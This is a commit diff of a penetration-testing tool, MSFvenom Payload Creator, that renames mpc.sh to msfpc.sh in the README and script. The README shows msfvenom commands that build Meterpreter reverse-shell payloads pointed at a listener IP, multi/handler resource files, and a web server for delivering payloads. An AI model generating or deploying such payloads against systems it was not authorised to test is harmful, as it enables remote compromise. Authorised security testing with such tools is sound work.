Skip to content

Commit f648fc3

Browse files
committed
v1.4.4: mpc.sh -> msfpc.sh
1 parent eb2279a commit f648fc3

File tree

2 files changed

+78
-68
lines changed

2 files changed

+78
-68
lines changed

README.md

+65-57
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
1-
## Msfvenom Payload Creator (MPC)
1+
## MSFvenom Payload Creator (MSFPC)
22

33
A **quick** way to generate various "basic" Meterpreter payloads via `msfvenom` (part of the Metasploit framework).
44

55
<p align="center">
6-
<img src="http://i.imgur.com/rOqMdwp.png" alt="mpc logo"/>
6+
<img src="http://i.imgur.com/rOqMdwp.png" alt="msfpc logo"/>
77
</p>
88

99

@@ -12,59 +12,68 @@ A **quick** way to generate various "basic" Meterpreter payloads via `msfvenom`
1212

1313
## About
1414

15-
Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as **simple as possible** (**only requiring one input**) to produce their payload.
15+
MSFvenom Payload Creator (MSFPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as **simple as possible** (**only requiring one input**) to produce their payload.
1616

17-
**Fully automating** msfvenom & Metasploit is the end goal _(well as to be be able to automate MPC itself)_.
17+
**Fully automating** msfvenom & Metasploit is the end goal _(well as to be be able to automate MSFPC itself)_.
1818
The rest is to make the user's life as **easy as possible** (e.g. **IP selection menu**, **msfconsole resource file/commands**, **batch payload production** and able to enter **any argument in any order** _(in various formats/patterns)_).
1919

2020
The only necessary input from the user should be **defining the payload** they want by either the **platform** (e.g. `windows`), or the **file extension** they wish the payload to have (e.g. `exe`).
2121

2222
* **Can't remember your IP for a interface? Don't sweat it, just use the interface name**: `eth0`.
23-
* **Don't know what your external IP is? MPC will discover it**: `wan`.
23+
* **Don't know what your external IP is? MSFPC will discover it**: `wan`.
2424
* **Want to generate one of each payload? No issue!** Try: `loop`.
2525
* **Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem**. Try: `batch` (for everything), `batch msf` (for every Meterpreter option), `batch staged` (for every staged payload), or `batch cmd stageless` (for every stageless command prompt)!
2626

2727
_Note: This will **NOT** try to bypass any anti-virus solutions at any stage._
2828

29-
![Msfvenom Payload Creator (MPC)](https://i.imgur.com/qxRwnYD.png)
29+
![Msfvenom Payload Creator (MSFPC)](https://i.imgur.com/tN9q5iG.png)
3030

3131

3232
- - -
3333

3434

3535
## Install
3636

37-
+ Designed for **Kali Linux v2.x** & **Metasploit v4.11+**.
37+
+ Designed for **Kali Linux v2.x/Rolling** & **Metasploit v4.11+**.
3838
+ Kali v1.x should work.
3939
+ OSX 10.11+ should work.
4040
+ Weakerth4n 6+ should work.
4141
+ _...nothing else has been tested._
4242

4343
```
44-
curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/mpc.sh" > /usr/bin/mpc
45-
chmod +x /usr/bin/mpc
46-
mpc
44+
$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
45+
$ chmod 0755 /usr/local/bin/msfpc
4746
```
4847

48+
### Kali-Linux
49+
50+
MSFPC is already [packaged](https://pkg.kali.org/pkg/msfpc) in [Kali Rolling](https://www.kali.org/), so all you have to-do is:
51+
52+
```bash
53+
root@kali:~# apt install -y msfpc
54+
```
55+
56+
4957

5058
- - -
5159

5260

5361
## Help
5462

5563
```
56-
root@kali:~# mpc -h -v
57-
[*] Msfvenom Payload Creator (MPC v1.4)
64+
$ bash msfpc.sh -h -v
65+
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
5866
59-
/usr/bin/mpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
60-
Example: /usr/bin/mpc windows 192.168.1.10 # Windows & manual IP.
61-
/usr/bin/mpc elf bind eth0 4444 # Linux, eth0's IP & manual port.
62-
/usr/bin/mpc stageless cmd py https # Python, stageless command prompt.
63-
/usr/bin/mpc verbose loop eth1 # A payload for every type, using eth1's IP.
64-
/usr/bin/mpc msf batch wan # All possible Meterpreter payloads, using WAN IP.
65-
/usr/bin/mpc help verbose # Help screen, with even more information.
67+
msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
68+
Example: msfpc.sh windows 192.168.1.10 # Windows & manual IP.
69+
msfpc.sh elf bind eth0 4444 # Linux, eth0's IP & manual port.
70+
msfpc.sh stageless cmd py https # Python, stageless command prompt.
71+
msfpc.sh verbose loop eth1 # A payload for every type, using eth1's IP.
72+
msfpc.sh msf batch wan # All possible Meterpreter payloads, using WAN IP.
73+
msfpc.sh help verbose # Help screen, with even more information.
6674
6775
<TYPE>:
76+
+ APK
6877
+ ASP
6978
+ ASPX
7079
+ Bash [.sh]
@@ -78,7 +87,7 @@ root@kali:~# mpc -h -v
7887
+ Tomcat [.war]
7988
+ Windows [.exe // .dll]
8089
81-
Rather than putting <DOMAIN/IP>, you can do a interface and MPC will detect that IP address.
90+
Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
8291
Missing <DOMAIN/IP> will default to the IP menu.
8392
8493
Missing <PORT> will default to 443.
@@ -117,39 +126,38 @@ root@kali:~# mpc -h -v
117126
<LOOP> will just create one of each <TYPE>.
118127
119128
<VERBOSE> will display more information.
120-
root@kali:~#
129+
$
121130
```
122131

123132

124133
## Example \#1 (Windows, Fully Automated Using Manual IP)
125134

126135
```bash
127-
root@kali:~# bash mpc.sh windows 192.168.1.10
128-
[*] Msfvenom Payload Creator (MPC v1.4)
136+
$ bash msfpc.sh windows 192.168.1.10
137+
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
129138
[i] IP: 192.168.1.10
130139
[i] PORT: 443
131140
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
132141
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
133142
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
134143
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
135144

136-
[i] File (/root/windows-meterpreter-staged-reverse-tcp-443.exe) already exists. Overwriting...
137145
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
138146

139147
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
140148
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
141-
[?] Quick web server (for file transfer)?: python -m SimpleHTTPServer 8080
149+
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
142150
[*] Done!
143-
root@kali:~#
151+
$
144152
```
145153

146154

147155
## Example \#2 (Linux Format, Fully Automated Using Manual Interface and Port)
148156

149157
```bash
150-
root@kali:~# ./mpc.sh elf bind eth0 4444 verbose
151-
[*] Msfvenom Payload Creator (MPC v1.4)
152-
[i] IP: 192.168.103.183
158+
$ ./msfpc.sh elf bind eth0 4444 verbose
159+
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
160+
[i] IP: 192.168.103.142
153161
[i] PORT: 4444
154162
[i] TYPE: linux (linux/x86/shell/bind_tcp)
155163
[i] SHELL: shell
@@ -160,7 +168,6 @@ root@kali:~# ./mpc.sh elf bind eth0 4444 verbose
160168
--platform linux -a x86 -e generic/none LPORT=4444 \
161169
> '/root/linux-shell-staged-bind-tcp-4444.elf'
162170

163-
[i] File (/root/linux-shell-staged-bind-tcp-4444.elf) already exists. Overwriting...
164171
[i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'
165172

166173
[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
@@ -170,39 +177,38 @@ root@kali:~# ./mpc.sh elf bind eth0 4444 verbose
170177

171178
[i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
172179
[i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
173-
[?] Quick web server (for file transfer)?: python -m SimpleHTTPServer 8080
180+
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
174181
[*] Done!
175-
root@kali:~#
182+
$
176183
```
177184

178185

179186
## Example \#3 (Python Format, Interactive IP Menu)
180187

181188
```bash
182-
root@kali:~# mpc stageless cmd py tcp
183-
[*] Msfvenom Payload Creator (MPC v1.4)
189+
$ msfpc stageless cmd py tcp
190+
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
184191

185192
[i] Use which interface - IP address?:
186-
[i] 1.) eth0 - 192.168.103.183
187-
[i] 2.) tap0 - 10.10.100.63
188-
[i] 3.) lo - 127.0.0.1
189-
[i] 4.) wan - xxx.xxx.xxx.xxx
190-
[?] Select 1-4, interface or IP address: 2
193+
[i] 1.) eth0 - 192.168.103.142
194+
[i] 2.) lo - 127.0.0.1
195+
[i] 3.) wan - 31.204.154.174
196+
[?] Select 1-3, interface or IP address: 1
191197

192-
[i] IP: 10.10.100.63
198+
[i] IP: 192.168.103.142
193199
[i] PORT: 443
194200
[i] TYPE: python (python/shell_reverse_tcp)
195201
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw \
196-
--platform python -e generic/none -a python LHOST=10.10.100.63 LPORT=443 \
202+
--platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
197203
> '/root/python-shell-stageless-reverse-tcp-443.py'
198204

199205
[i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'
200206

201207
[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
202208
[i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
203-
[?] Quick web server (for file transfer)?: python -m SimpleHTTPServer 8080
209+
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
204210
[*] Done!
205-
root@kali:~#
211+
$
206212
```
207213

208214
_Note: Removed WAN IP._
@@ -211,37 +217,39 @@ _Note: Removed WAN IP._
211217
## Example \#4 (Loop - Generates one of everything)
212218

213219
```bash
214-
root@kali:~# ./mpc.sh loop wan
215-
[*] Msfvenom Payload Creator (MPC v1.4)
220+
$ ./msfpc.sh loop wan
221+
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
216222
[i] Loop Mode. Creating one of each TYPE, with default values
217223

218-
[*] Msfvenom Payload Creator (MPC v1.4)
224+
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
219225
[i] IP: xxx.xxx.xxx.xxx
220226
[i] PORT: 443
221-
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
222-
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f asp \
223-
--platform windows -a x86 -e generic/none LHOST=xxx.xxx.xxx.xxx LPORT=443 \
224-
> '/root/windows-meterpreter-staged-reverse-tcp-443.asp'
227+
[i] TYPE: android (android/meterpreter/reverse_tcp)
228+
[i] CMD: msfvenom -p android/meterpreter/reverse_tcp \
229+
LHOST=xxx.xxx.xxx.xxx LPORT=443 \
230+
> '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
225231

226-
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.asp'
232+
[i] android meterpreter created: '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
227233

228-
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-asp.rc'
229-
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-asp.rc'
230-
[?] Quick web server (for file transfer)?: python -m SimpleHTTPServer 8080
234+
[i] MSF handler file: '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
235+
[i] Run: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
236+
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
231237
[*] Done!
232238

233239

234-
[*] Msfvenom Payload Creator (MPC v1.4)
240+
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
241+
235242
...SNIP...
243+
236244
[*] Done!
237245

238-
root@kali ~$
246+
$
239247
```
240248

241249
_Note: Removed WAN IP._
242250

243251

244-
![Examples](https://i.imgur.com/lQFiqil.png)
252+
![Examples](https://i.imgur.com/8zPx6p3.png)
245253

246254

247255
- - -

mpc.sh msfpc.sh

+13-11
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
#!/bin/bash
22
#-Metadata----------------------------------------------------#
3-
# Filename: mpc.sh (v1.4.3) (Update: 2016-06-30) #
3+
# Filename: msfpc.sh (v1.4.4) (Update: 2017-06-09) #
44
#-Info--------------------------------------------------------#
55
# Quickly generate Metasploit payloads using msfvenom. #
66
#-Author(s)---------------------------------------------------#
@@ -28,7 +28,7 @@
2828
#-------------------------------------------------------------#
2929

3030
#--Quick Install----------------------------------------------#
31-
# curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/mpc.sh" > /usr/bin/mpc; chmod +x /usr/bin/mpc
31+
# curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/bin/msfpc; chmod +x /usr/bin/msfpc
3232
#-------------------------------------------------------------#
3333

3434
#-More information--------------------------------------------#
@@ -119,30 +119,30 @@ function doAction {
119119
CMD=$(echo $CMD | sed 's/\\\\\n//g')
120120

121121
[[ -e "${FILENAME}" ]] && echo -e " ${YELLOW}[i]${RESET} File (${FILENAME}) ${YELLOW}already exists${RESET}. ${YELLOW}Overwriting...${RESET}" && rm -f "${FILENAME}"
122-
eval "${CMD}" 2>/tmp/mpc.out
122+
eval "${CMD}" 2>/tmp/msfpc.out
123123
[[ ! -s "${FILENAME}" ]] && rm -f "${FILENAME}"
124124
if [[ -e "${FILENAME}" ]]; then
125125
echo -e " ${YELLOW}[i]${RESET} ${TYPE} ${SHELL} created: '${YELLOW}${FILENAME}${RESET}'"
126126
echo ""
127127
\chmod +x "${FILENAME}"
128128
else
129129
echo ""
130-
\grep -q 'Invalid Payload Selected' /tmp/mpc.out 2>/dev/null
130+
\grep -q 'Invalid Payload Selected' /tmp/msfpc.out 2>/dev/null
131131
if [[ "$?" == '0' ]]; then
132132
echo -e "\n ${YELLOW}[i]${RESET} ${RED}Invalid Payload Selected${RESET} (Metasploit doesn't support this) =(" >&2
133-
\rm -f /tmp/mpc.out
133+
\rm -f /tmp/msfpc.out
134134
else
135135
echo -e "\n ${YELLOW}[i]${RESET} Something went wrong. ${RED}Issue creating file${RESET} =(." >&2
136136
echo -e "\n----------------------------------------------------------------------------------------"
137137
[ -e "/usr/share/metasploit-framework/build_rev.txt" ] && \cat /usr/share/metasploit-framework/build_rev.txt || \msfconsole -v
138138
\uname -a
139139
echo -e "----------------------------------------------------------------------------------------${RED}"
140-
\cat /tmp/mpc.out
140+
\cat /tmp/msfpc.out
141141
echo -e "${RESET}----------------------------------------------------------------------------------------\n"
142142
fi
143143
exit 2
144144
fi
145-
#\rm -f /tmp/mpc.out
145+
#\rm -f /tmp/msfpc.out
146146

147147
[[ "${VERBOSE}" == "true" ]] && echo -e " ${YELLOW}[i]${RESET} File: $(\file -b ${FILENAME})"
148148
[[ "${VERBOSE}" == "true" ]] && echo -e " ${YELLOW}[i]${RESET} Size: $(\du -h ${FILENAME} | \cut -f1)"
@@ -155,13 +155,15 @@ function doAction {
155155

156156
cat <<EOF > "${FILEHANDLE}"
157157
#
158-
# [Kali 2.x]: systemctl start postgresql; msfdb start; msfconsole -q -r '${FILEHANDLE}'
158+
# [Kali 1]: service postgresql start; service metasploit start; msfconsole -q -r '${FILEHANDLE}'
159+
# [Kali 2.x/Rolling]: msfdb start; msfconsole -q -r '${FILEHANDLE}'
159160
#
160161
use exploit/multi/handler
161162
set PAYLOAD ${PAYLOAD}
162163
set ${HOST} ${IP}
163164
set LPORT ${PORT}
164165
set ExitOnSession false
166+
#set AutoRunScript 'post/windows/manage/migrate'
165167
run -j
166168
EOF
167169

@@ -197,7 +199,7 @@ function doHelp {
197199
echo -e " + ${YELLOW}Tomcat${RESET} [.${YELLOW}war${RESET}]"
198200
echo -e " + ${YELLOW}Windows${RESET} [.${YELLOW}exe${RESET} // .${YELLOW}dll${RESET}]"
199201
echo ""
200-
echo -e " Rather than putting <DOMAIN/IP>, you can do a interface and MPC will detect that IP address."
202+
echo -e " Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address."
201203
echo -e " Missing <DOMAIN/IP> will default to the IP menu."
202204
echo ""
203205
echo -e " Missing <PORT> will default to 443."
@@ -244,7 +246,7 @@ function doHelp {
244246

245247

246248
## Banner
247-
echo -e " ${BLUE}[*]${RESET} ${BLUE}M${RESET}sfvenom ${BLUE}P${RESET}ayload ${BLUE}C${RESET}reator (${BLUE}MPC${RESET} v${BLUE}1.4.3${RESET})"
249+
echo -e " ${BLUE}[*]${RESET} ${BLUE}MSF${RESET}venom ${BLUE}P${RESET}ayload ${BLUE}C${RESET}reator (${BLUE}MSFPC${RESET} v${BLUE}1.4.4${RESET})"
248250

249251

250252
## Check system
@@ -786,7 +788,7 @@ fi
786788

787789
##### Done!
788790
if [[ "${SUCCESS}" == true ]]; then
789-
echo -e " ${GREEN}[?]${RESET} ${GREEN}Quick web server${RESET} (for file transfer)?: python -m SimpleHTTPServer 8080"
791+
echo -e " ${GREEN}[?]${RESET} ${GREEN}Quick web server${RESET} (for file transfer)?: python2 -m SimpleHTTPServer 8080"
790792
echo -e " ${BLUE}[*]${RESET} ${BLUE}Done${RESET}!"
791793
else
792794
doHelp

0 commit comments

Comments
 (0)